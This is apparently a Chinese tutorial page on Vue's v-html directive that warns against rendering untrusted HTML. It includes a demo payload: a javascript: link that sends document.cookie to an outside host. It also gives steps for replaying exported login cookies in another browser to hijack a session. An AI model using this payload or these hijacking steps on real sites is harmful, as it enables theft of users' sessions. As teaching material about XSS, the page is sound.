v-html指令总结：

1、作用：向指定节点中渲染包含html结构的内容

2、与插值语法的区别：

（1）v-html 会替换掉节点中所有的内容，{{}}则不会

（2）v-html 可以识别html 结构

3、特别注意：

（1）在网站上动态动态渲染任意HTML是非常危险的，容易导致XSS攻击

（2）一定要在可信的内容上使用v-html，永不要在用户提交的内容上使用

案例分析：

1、在google浏览器和火狐浏览器上安装 Cookie-Editor 插件：http://crx4.com/18460.html

2、在google 浏览器登陆githut 账号 ，使用Cookie-Editor插件将浏览器的Cookie数据导出

3、在火狐浏览器打开githut网站，然后删除Cookie数据，将从google浏览器导出的数据导入到火狐浏览器中，然后刷新页面，会发现火狐浏览器的githut会有登陆后的信息

（1）html

<!DOCTYPE html>

<head>

    <title>v-html</title>

    <script type="text/javascript" src="../js/vue.js"></script>

</head>

<body>

    <div id="root">

        <div v-html="str"></div>

    </div>

</body>

<script type="text/javascript">

    Vue.config.productionTip = false

    new Vue({

        el:"#root",

        data:{

            str:'<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！</a>'

        }

    })

</script>

（2）往页面加cookie数据

（3）点击链接，会将系统的cookie数据传走

链接：https://www.bilibili.com/video/BV1Zy4y1K7SH?p=41&spm_id_from=pageDriver&vd_source=60a28e8364654bee938864b1d19905ec

第41集

Vue的v-html指令说明，含案例的更多相关文章

  1. VUE：内置指令与自定义指令

    VUE:内置指令与自定义指令 常用的内置指令 1)v:text 更新元素的 textContent 2)v-html 更新元素的 innerHTML 3)v-if 如果为true,当前标签才会输出到页 ...

  2. 【Vue】通过自定义指令回顾 v-内置指令

    Vue.js 的各种指令(Directives)更加方便我们去数据驱动 DOM,例如 v-bind.v-on.v-model.v-if.v-for.v-once 等内置指令,这些指令的职责就是当表达式 ...

  3. Vue API(directives) 自定义指令

    前言:除了vue的内置指令以外,我们可以定义自定义指令.内置指令表相见:https://www.cnblogs.com/ilovexiaoming/p/6840383.html 我们定义一个最简单的 ...

  4. vue自定義指令

    自定義指令可以允許代碼複用, 全局自定義指令 vue.directive('指令名',{鉤子函數:指令函數}) 局部自定義指令: vue({ directives:{指令名:{鉤子函數:指令函數} } ...

  5. Vue(四) 内置指令

    现在介绍 Vue.js 中 更多的内置指令 基本指令 v-cloak v-cloak 不需要表达式,它会在 Vue 实例结束编译时从绑定的 HTML 元素上移除,经常和 CSS 的 display: ...

  6. 移动端Tap与滑屏实战技巧总结以及Vue混合开发自定义指令

    最近在忙混合开发,因交互相对复杂,所以也踩了很多坑.在此做一下总结. 1.tap事件的实际应用 在使用tap事件时,老生常谈的肯定是点透问题,大多情况下,在有滑屏交互的页面时,我们会在根节点阻止默认行 ...

  7. vue教程2-07 自定义指令

    vue教程2-07 自定义指令 自定义指令: 一.属性: Vue.directive(指令名称,function(参数){ this.el -> 原生DOM元素 }); <div v-re ...

  8. Vue 框架-07-循环指令 v-for，和模板的使用

    Vue 框架-07-循环指令 v-for,和模板的使用 本章主要是写一些小实例,记录代码,想要更详细的话,请查看 官方文档:https://cn.vuejs.org/v2/guide/#%E6%9D% ...

  9. Vue.js之常用指令

    vue常用指令 vue.js官方给自己的定义是数据模板引擎,并给出了一套渲染数据的指令.本文详细介绍vue.js的常用指令. 官网:点我 一.v-text.v-html v-text:用于绑定文本 v ...

  10. 1.Vue.js的常用指令

      Vue.js介绍 Vue.js是当下很火的一个JavaScript MVVM库,它是以数据驱动和组件化的思想构建的.相比于Angular.js,Vue.js提供了更加简洁.更易于理解的API,使得 ...

随机推荐

  1. TensorFlow中的Placeholder

    简单运用 这一次我们会讲到 Tensorflow 中的 placeholder , placeholder 是 Tensorflow 中的占位符,暂时储存变量. Tensorflow 如果想要从外部传 ...

  2. python win32 microsoft excel 类range的copyPictrue方法无效

    这个报错也是可以的,不明不白,只是提示:microsoft excel 类range的copyPictrue方法无效 网上找了好多博客,对我的情况没有效果,无奈我想打开excel看看到底是咋回事,结果 ...

  3. react native SectionList组件实现多选

    如下图所示: 代码如下: import React, { useRef, Component } from 'react'; import { Platform, Text, View, TextIn ...

  4. "人生重开模拟器"，10分钟轻松搭建！

    人生重开模拟器是最近爆火的一款非常好玩的模拟游戏,会带你走入一个有趣的世界,开启全新的人生旅程,即"人生重开". 然而实际上,这款游戏短短在3天内上线,在百度贴吧.朋友圈.QQ群. ...

  5. dart 学习笔记

    1.dart 下载安装,vscode 安装dart ,coderunner等 2.dart语法 1)需要入口函数main,或者void(没有返回值) main 2)定义变量 var str='kkk' ...

  6. Linux系统Shell脚本第五章：shell数组、正则表达式及文件三剑客之AWK

    目录 一.shell数组 1.数组分类 2.定义数组方法 二.正则表达式 1.元字符 2.表示次数 3.位置锚定 4.分组 5.扩展正则表达式 三.文本三剑客之AWK 1.awk 2.使用格式 3.处 ...

  7. T137288 铸星

    有以下三种情况: 只有一个数,直接输出. 有正数也有复数,那就先让负数撞正数得到更小的负数,直到剩下最后一个正数撞所有的负数,答案是所有数的绝对值之和. 仅有正数或者仅有负数,就先找一对不相等的相邻的 ...

  8. 解决在宝塔面板IIS服务器上部署svg/woff/woff2字体的问题

    部署网站的字体和服务器IIS有什么关系?如果你的职责只限于一名前端开发,那么你可能很"幸福"地与这些问题擦肩而过,浑然不觉.可是本人一直都是孤军奋战,连开发环境都要自己搭建,这次又 ...

  9. VM虚拟机的创建和CentOS 7的安装

    1.vm和CentOS的下载. 一:vm和CentOS的下载,这是创建虚拟机和CentOS安装的必要条件. 2.vm虚拟机的创建. 一:打开vm软件界面,会看到虚拟机的字,点击虚拟机开始创建虚拟机.二 ...

  10. sap软件功能介绍及主要功能（模块）有哪些？

    SAP 成立于 1972 年,最初称为 System Analysis Program Development (Systemanalyse Programmentwicklung),后来采用缩写 S ...